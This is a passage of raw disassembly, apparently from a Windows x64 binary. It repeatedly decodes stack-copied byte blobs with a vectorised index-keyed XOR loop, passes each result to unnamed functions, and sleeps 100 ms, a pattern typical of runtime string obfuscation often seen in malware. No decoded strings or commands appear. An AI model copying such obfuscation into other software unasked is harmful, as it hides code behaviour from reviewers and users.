punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x14001ec90
cmp r8d, 0x7d
jge 0x14001ede0
movsxd rax, r8d
lea r9, [rbp + 0xa9b0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x7d
jl 0x14001edb0
movzx edx, byte [rsp + 0x20]
lea rcx, [rbp + 0x1d8]
call fcn.140004bf0
nop
lea rax, [rbp + 0xa9b0]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001ee00
lea rdx, [rbp + 0xa9b0]
lea rcx, [rbp + 0x1d8]
call fcn.14000fd50
nop
lea rcx, [rbp + 0x1d8]
call fcn.14001d6b0
nop
lea rcx, [rbp + 0x1d8]
call fcn.14000d680
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400c2360]
movups xmmword [rbp + 0xcc40], xmm0
movups xmm1, xmmword [0x1400c2370]
movups xmmword [rbp + 0xcc50], xmm1
movups xmm0, xmmword [0x1400c2380]
movups xmmword [rbp + 0xcc60], xmm0
movups xmm1, xmmword [0x1400c2390]
movups xmmword [rbp + 0xcc70], xmm1
movups xmm0, xmmword [0x1400c23a0]
movups xmmword [rbp + 0xcc80], xmm0
movups xmm1, xmmword [0x1400c23b0]
movups xmmword [rbp + 0xcc90], xmm1
movups xmm0, xmmword [0x1400c23c0]
movups xmmword [rbp + 0xcca0], xmm0
movups xmm1, xmmword [0x1400c23d0]
movups xmmword [rbp + 0xccb0], xmm1
mov eax, dword [0x1400c23e0]
mov dword [rbp + 0xccc0], eax
movzx eax, word [0x1400c23e4]
mov word [rbp + 0xccc4], ax
movzx eax, byte [0x1400c23e6]
mov byte [rbp + 0xccc6], al
mov r8d, ebx
cmp edi, 2
jl 0x14001f02b
movdqa xmm5, xmmword [0x1400c3460]
movdqa xmm4, xmmword [0x1400c3630]
movdqa xmm6, xmmword [0x1400c3480]
movdqa xmm0, xmmword [0x1400c35a0]
movdqa xmmword [rbp + 0xb0], xmm0
lea rcx, [rbp + 0xcc44]
mov edx, dword [rbp + 0xb0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x80
jl 0x14001ef20
cmp r8d, 0x87
jge 0x14001f073
movsxd rax, r8d
lea r9, [rbp + 0xcc40]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x87
jl 0x14001f040
movzx edx, byte [rsp + 0x20]
lea rcx, [rbp + 0x1f8]
call fcn.140004bf0
nop
lea rax, [rbp + 0xcc40]
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14001f090
lea rdx, [rbp + 0xcc40]
lea rcx, [rbp + 0x1f8]
call fcn.14000fd50
nop
lea rcx, [rbp + 0x1f8]
call fcn.14001d6b0
nop
lea rcx, [rbp + 0x1f8]
call fcn.14000d680
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400c2060]
movups xmmword [rbp + 0xaa30], xmm0
movups xmm1, xmmword [0x1400c2070]
movups xmmword [rbp + 0xaa40], xmm1
movups xmm0, xmmword [0x1400c2080]
movups xmmword [rbp + 0xaa50], xmm0
movups xmm1, xmmword [0x1400c2090]
movups xmmword [rbp + 0xaa60], xmm1
movups xmm0, xmmword [0x1400c20a0]
movups xmmword [rbp + 0xaa70], xmm0
movups xmm1, xmmword [0x1400c20b0]
movups xmmword [rbp + 0xaa80], xmm1
movups xmm0, xmmword [0x1400c20c0]
movups xmmword [rbp + 0xaa90], xmm0
movsd xmm0, qword [0x1400c20d0]
movsd qword [rbp + 0xaaa0], xmm0
mov eax, dword [0x1400c20d8]
mov dword [rbp + 0xaaa8], eax
movzx eax, byte [0x1400c20dc]
mov byte [rbp + 0xaaac], al
mov r8d, ebx
cmp edi, 2
jl 0x14001f2a5
movdqa xmm5, xmmword [0x1400c3460]
movdqa xmm4, xmmword [0x1400c3630]
movdqa xmm6, xmmword [0x1400c3480]
movdqa xmm0, xmmword [0x1400c35a0]
movdqa xmmword [rbp + 0xb0], xmm0
lea rcx, [rbp + 0xaa34]
mov edx, dword [rbp + 0xb0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x14001f1a0
cmp r8d, 0x7d
jge 0x14001f2f0
movsxd rax, r8d
lea r9, [rbp + 0xaa30]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x7d
jl 0x14001f2c0
movzx edx, byte [rsp + 0x20]
lea rcx, [rbp + 0x218]
call fcn.140004bf0
nop
lea rax, [rbp + 0xaa30]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001f310
lea rdx, [rbp + 0xaa30]
lea rcx, [rbp + 0x218]
call fcn.14000fd50
nop
lea rcx, [rbp + 0x218]
call fcn.14001d6b0
nop
lea rcx, [rbp + 0x218]
call fcn.14000d680
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400be850]
movups xmmword [rbp + 0xad50], xmm0
movups xmm1, xmmword [0x1400be860]
movups xmmword [rbp + 0xad60], xmm1
movups xmm0, xmmword [0x1400be870]
movups xmmword [rbp + 0xad70], xmm0
movups xmm1, xmmword [0x1400be880]
movups xmmword [rbp + 0xad80], xmm1
movups xmm0, xmmword [0x1400be890]
movups xmmword [rbp + 0xad90], xmm0
movups xmm1, xmmword [0x1400be8a0]
movups xmmword [rbp + 0xada0], xmm1
movups xmm0, xmmword [0x1400be8b0]
movups xmmword [rbp + 0xadb0], xmm0
movsd xmm0, qword [0x1400be8c0]
movsd qword [rbp + 0xadc0], xmm0
mov eax, dword [0x1400be8c8]
mov dword [rbp + 0xadc8], eax
movzx eax, word [0x1400be8cc]
mov word [rbp + 0xadcc], ax
mov r8d, ebx
cmp edi, 2
jl 0x14001f525
movdqa xmm5, xmmword [0x1400c3460]
movdqa xmm4, xmmword [0x1400c3630]
movdqa xmm6, xmmword [0x1400c3480]
movdqa xmm0, xmmword [0x1400c35a0]
movdqa xmmword [rbp + 0xb0], xmm0
lea rcx, [rbp + 0xad54]
mov edx, dword [rbp + 0xb0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x14001f420
cmp r8d, 0x7e
jge 0x14001f570
movsxd rax, r8d
lea r9, [rbp + 0xad50]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x7e
jl 0x14001f540
movzx edx, byte [rsp + 0x20]
lea rcx, [rbp + 0x238]
call fcn.140004bf0
nop
lea rax, [rbp + 0xad50]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001f590
lea rdx, [rbp + 0xad50]
lea rcx, [rbp + 0x238]
call fcn.14000fd50
nop
lea rcx, [rbp + 0x238]
call fcn.14001d6b0
nop
lea rcx, [rbp + 0x238]
call fcn.14000d680
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400bce60]
movups xmmword [rbp + 0x8c30], xmm0
movups xmm1, xmmword [0x1400bce70]
movups xmmword [rbp + 0x8c40], xmm1
movups xmm0, xmmword [0x1400bce80]
movups xmmword [rbp + 0x8c50], xmm0
movups xmm1, xmmword [0x1400bce90]
movups xmmword [rbp + 0x8c60], xmm1
movups xmm0, xmmword [0x1400bcea0]
movups xmmword [rbp + 0x8c70], xmm0
movups xmm1, xmmword [0x1400bceb0]
movups xmmword [rbp + 0x8c80], xmm1
movups xmm0, xmmword [0x1400bcec0]
movups xmmword [rbp + 0x8c90], xmm0
mov eax, dword [0x1400bced0]
mov dword [rbp + 0x8ca0], eax
mov r8d, ebx
cmp edi, 2
jl 0x14001f786
movdqa xmm5, xmmword [0x1400c3460]
movdqa xmm4, xmmword [0x1400c3630]
movdqa xmm6, xmmword [0x1400c3480]
movdqa xmm0, xmmword [0x1400c35a0]
movdqa xmmword [rbp + 0xb0], xmm0
lea rcx, [rbp + 0x8c34]
mov edx, dword [rbp + 0xb0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x70
jl 0x14001f681
cmp r8d, 0x74
jge 0x14001f7d0
movsxd rax, r8d
lea r9, [rbp + 0x8c30]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x74
jl 0x14001f7a0
movzx edx, byte [rsp + 0x20]
lea rcx, [rbp + 0x258]
call fcn.140004bf0
nop
lea rax, [rbp + 0x8c30]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001f7f0
lea rdx, [rbp + 0x8c30]
lea rcx, [rbp + 0x258]
call fcn.14000fd50
nop
lea rcx, [rbp + 0x258]
call fcn.14001d6b0
nop
lea rcx, [rbp + 0x258]
call fcn.14000d680
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400bd100]
movups xmmword [rbp + 0x92b0], xmm0
movups xmm1, xmmword [0x1400bd110]
movups xmmword [rbp + 0x92c0], xmm1
movups xmm0, xmmword [0x1400bd120]
movups xmmword [rbp + 0x92d0], xmm0
movups xmm1, xmmword [0x1400bd130]
movups xmmword [rbp + 0x92e0], xmm1
movups xmm0, xmmword [0x1400bd140]
movups xmmword [rbp + 0x92f0], xmm0
movups xmm1, xmmword [0x1400bd150]
movups xmmword [rbp + 0x9300], xmm1
movups xmm0, xmmword [0x1400bd160]
movups xmmword [rbp + 0x9310], xmm0
mov eax, dword [0x1400bd170]
mov dword [rbp + 0x9320], eax
movzx eax, byte [0x1400bd174]
mov byte [rbp + 0x9324], al
mov r8d, ebx
cmp edi, 2
jl 0x14001f9f5
movdqa xmm5, xmmword [0x1400c3460]
movdqa xmm4, xmmword [0x1400c3630]
movdqa xmm6, xmmword [0x1400c3480]
movdqa xmm0, xmmword [0x1400c35a0]
movdqa xmmword [rbp + 0xb0], xmm0
lea rcx, [rbp + 0x92b4]
mov edx, dword [rbp + 0xb0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x70
jl 0x14001f8f0
cmp r8d, 0x75
jge 0x14001fa40
movsxd rax, r8d
lea r9, [rbp + 0x92b0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x75
jl 0x14001fa10
movzx edx, byte [rsp + 0x20]
lea rcx, [rbp + 0x278]
call fcn.140004bf0
nop
lea rax, [rbp + 0x92b0]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001fa60
lea rdx, [rbp + 0x92b0]
lea rcx, [rbp + 0x278]
call fcn.14000fd50
nop
lea rcx, [rbp + 0x278]
call fcn.14001d6b0
nop
lea rcx, [rbp + 0x278]
call fcn.14000d680
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400c1cf0]
movups xmmword [rbp + 0x8cb0], xmm0
movups xmm1, xmmword [0x1400c1d00]
movups xmmword [rbp + 0x8cc0], xmm1
movups xmm0, xmmword [0x1400c1d10]
movups xmmword [rbp + 0x8cd0], xmm0
movups xmm1, xmmword [0x1400c1d20]
movups xmmword [rbp + 0x8ce0], xmm1
movups xmm0, xmmword [0x1400c1d30]
movups xmmword [rbp + 0x8cf0], xmm0
movups xmm1, xmmword [0x1400c1d40]
movups xmmword [rbp + 0x8d00], xmm1
movups xmm0, xmmword [0x1400c1d50]
movups xmmword [rbp + 0x8d10], xmm0
mov eax, dword [0x1400c1d60]
mov dword [rbp + 0x8d20], eax
mov r8d, ebx
cmp edi, 2
jl 0x14001fc56
movdqa xmm5, xmmword [0x1400c3460]
movdqa xmm4, xmmword [0x1400c3630]
movdqa xmm6, xmmword [0x1400c3480]
movdqa xmm0, xmmword [0x1400c35a0]
movdqa xmmword [rbp + 0xb0], xmm0
lea rcx, [rbp + 0x8cb4]
mov edx, dword [rbp + 0xb0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x70
jl 0x14001fb51
cmp r8d, 0x74
jge 0x14001fca0
movsxd rax, r8d
lea r9, [rbp + 0x8cb0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x74
jl 0x14001fc70
movzx edx, byte [rsp + 0x20]
lea rcx, [rbp + 0x298]
call fcn.140004bf0
nop
lea rax, [rbp + 0x8cb0]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001fcc0
lea rdx, [rbp + 0x8cb0]
lea rcx, [rbp + 0x298]
call fcn.14000fd50
nop
lea rcx, [rbp + 0x298]
call fcn.14001d6b0
nop
lea rcx, [rbp + 0x298]
call fcn.14000d680
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400c1160]
movups xmmword [rbp + 0x88b0], xmm0
movups xmm1, xmmword [0x1400c1170]
movups xmmword [rbp + 0x88c0], xmm1
movups xmm0, xmmword [0x1400c1180]
movups xmmword [rbp + 0x88d0], xmm0
movups xmm1, xmmword [0x1400c1190]
movups xmmword [rbp + 0x88e0], xmm1
movups xmm0, xmmword [0x1400c11a0]
movups xmmword [rbp + 0x88f0], xmm0
movups xmm1, xmmword [0x1400c11b0]
movups xmmword [rbp + 0x8900], xmm1
movups xmm0, xmmword [0x1400c11c0]
movups xmmword [rbp + 0x8910], xmm0
movzx eax, word [0x1400c11d0]
mov word [rbp + 0x8920], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x8922], al
mov r8d, ebx
cmp edi, 2
jl 0x14001fec5
movdqa xmm5, xmmword [0x1400c3460]
movdqa xmm4, xmmword [0x1400c3630]
movdqa xmm6, xmmword [0x1400c3480]
movdqa xmm0, xmmword [0x1400c35a0]
movdqa xmmword [rbp + 0xb0], xmm0
lea rcx, [rbp + 0x88b4]
mov edx, dword [rbp + 0xb0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x70
jl 0x14001fdc0
cmp r8d, 0x73
jge 0x14001ff10
movsxd rax, r8d
lea r9, [rbp + 0x88b0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x73
jl 0x14001fee0
movzx edx, byte [rsp + 0x20]
lea rcx, [rbp + 0x2b8]
call fcn.140004bf0
nop
lea rax, [rbp + 0x88b0]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001ff30
lea rdx, [rbp + 0x88b0]
lea rcx, [rbp + 0x2b8]
call fcn.14000fd50
nop
lea rcx, [rbp + 0x2b8]
call fcn.14001d6b0
nop
lea rcx, [rbp + 0x2b8]
call fcn.14000d680
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400be7b0]
movups xmmword [rbp + 0xa530], xmm0
movups xmm1, xmmword [0x1400be7c0]
movups xmmword [rbp + 0xa540], xmm1
movups xmm0, xmmword [0x1400be7d0]
movups xmmword [rbp + 0xa550], xmm0
movups xmm1, xmmword [0x1400be7e0]
movups xmmword [rbp + 0xa560], xmm1
movups xmm0, xmmword [0x1400be7f0]
movups xmmword [rbp + 0xa570], xmm0
movups xmm1, xmmword [0x1400be800]
movups xmmword [rbp + 0xa580], xmm1
movups xmm0, xmmword [0x1400be810]
movups xmmword [rbp + 0xa590], xmm0
movsd xmm0, qword [0x1400be820]
movsd qword [rbp + 0xa5a0], xmm0
movzx eax, word [0x1400be828]
mov word [rbp + 0xa5a8], ax
movzx eax, byte [0x1400be82a]
mov byte [rbp + 0xa5aa], al
mov r8d, ebx
cmp edi, 2
jl 0x140020145
movdqa xmm5, xmmword [0x1400c3460]
movdqa xmm4, xmmword [0x1400c3630]
movdqa xmm6, xmmword [0x1400c3480]
movdqa xmm0, xmmword [0x1400c35a0]
movdqa xmmword [rbp + 0xb0], xmm0
lea rcx, [rbp + 0xa534]
